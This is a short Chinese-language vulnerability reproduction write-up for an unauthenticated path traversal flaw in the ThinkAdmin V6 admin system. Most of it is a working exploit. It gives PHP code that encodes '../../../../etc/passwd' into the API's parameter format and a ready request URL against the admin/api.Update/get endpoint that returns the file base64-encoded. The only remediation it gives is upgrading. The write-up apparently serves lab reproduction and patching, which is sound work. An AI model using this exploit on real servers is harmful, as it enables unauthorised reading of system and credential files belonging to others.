漏洞描述:
ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。
ThinkAdmin V6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.构造payload
<?php
function encode($content){
list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++)
$chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;}$content="../../../../etc/passwd";
echo encode($content);
?>
3.访问
http://ip:port/admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s
获取/etc/passwd的base64编码
4.base64解码
修复建议:
1.升级版本。